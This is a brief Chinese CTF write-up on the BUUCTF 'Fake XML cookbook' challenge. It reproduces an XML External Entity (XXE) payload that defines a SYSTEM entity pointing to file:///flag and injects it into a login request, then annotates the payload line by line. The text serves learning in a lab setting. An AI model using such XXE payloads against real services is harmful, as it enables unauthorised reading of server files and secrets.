[JavaScript知识库]buuctf-Fake XML cookbook

?抓包后看它的传参格式有点像xss，但是尝试过没有回显，看别人的wp，是xxe，也是和html有关

直接粘贴别人的payload，然后分析学习下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY c SYSTEM "file:///flag">
  ]>
<user><username>&c;</username><password>1</password></user>

?应该，可能是按这个结构写的代码

?<?xml version="1.0" encoding="utf-8"?>

????????定义是xml

<!DOCTYPE note []>

????????定义此文档是 note 类型的文档

<!ENTITY c SYSTEM "file:///flag">

????????声明一个外部实体

<user><username>&c;</username><password>1</password></user>